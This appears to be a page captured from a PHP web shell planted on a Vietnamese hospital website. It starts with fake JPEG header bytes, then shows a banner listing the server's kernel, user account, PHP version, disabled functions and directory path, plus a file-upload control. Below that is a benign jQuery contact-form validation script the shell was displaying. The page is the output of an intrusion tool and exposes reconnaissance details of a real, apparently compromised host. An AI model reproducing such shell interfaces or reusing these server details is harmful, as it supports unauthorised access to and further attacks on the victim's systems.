ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/domains/benhviendkkvcampha.vn/private_html/data/javascripts/ |
Upload File : |
$(document).ready(function(){ //global vars var form = $("#contactForm"); var name = $("#name"); var nameInfo = $("#nameInfo"); var email = $("#email"); var emailInfo = $("#emailInfo"); var phone = $("#phone"); var phoneInfo = $("#phoneInfo"); var add = $("#add"); //On blur name.blur(validateName); email.blur(validateEmail); phone.blur(validatePhone); add.blur(validateAdd); //On key press name.keyup(validateName); email.keyup(validateEmail); phone.keyup(validatePhone); add.keyup(validateAdd); //On Submitting form.submit(function(){ if(validateName() & validatePhone() & validateEmail() & validateAdd()) return true else return false; }); //validation functions function validateEmail(){ //testing regular expression var filter = /^[a-zA-Z0-9]+[a-zA-Z0-9_.-]+[a-zA-Z0-9_-]+@[a-zA-Z0-9]+[a-zA-Z0-9.-]+[a-zA-Z0-9]+.[a-z]{2,4}$/; //if it's valid email if(filter.test(email.val())){ email.removeClass("error"); emailInfo.text("Hợp lệ!"); emailInfo.removeClass("Infoerror"); return true; } //if it's NOT valid else{ email.addClass("error"); emailInfo.text("Nhập đúng định dạng Email!"); emailInfo.addClass("Infoerror"); return false; } } function validateName(){ //if it's NOT valid var filter = /[0-9_-]|@|#|%|&/; if(name.val().length < 5){ name.addClass("error"); nameInfo.text("Tên phải lớn hơn 4 ký tự!"); nameInfo.addClass("Infoerror"); return false; } else if(filter.test(name.val())){ name.addClass("error"); nameInfo.text("Tên chỉ gồm: Chữ"); nameInfo.addClass("Infoerror"); return false; } //if it's valid else{ name.removeClass("error"); nameInfo.text("Tên hợp lệ!"); nameInfo.removeClass("Infoerror"); return true; } } function validatePhone(){ //if it's NOT valid var filter = /[0-9]+?/; if(phone.val().length < 9){ phone.addClass("error"); phoneInfo.text("Điện thoại phải đủ số!"); phoneInfo.addClass("Infoerror"); return false; } else if(filter.test(phone.val())){ phone.removeClass("error"); phoneInfo.text("Hợp lệ!"); phoneInfo.removeClass("Infoerror"); return true; } //if it's valid else{ phone.addClass("error"); phoneInfo.text("Điện thoại chỉ gồm số!"); phoneInfo.addClass("Infoerror"); return false; } } function validateAdd(){ var filter = /[<>]/; if( filter.test(add.val()) | add.val().length < 9){ add.addClass("error"); return false; } //are valid else{ add.removeClass("error"); return true; } } });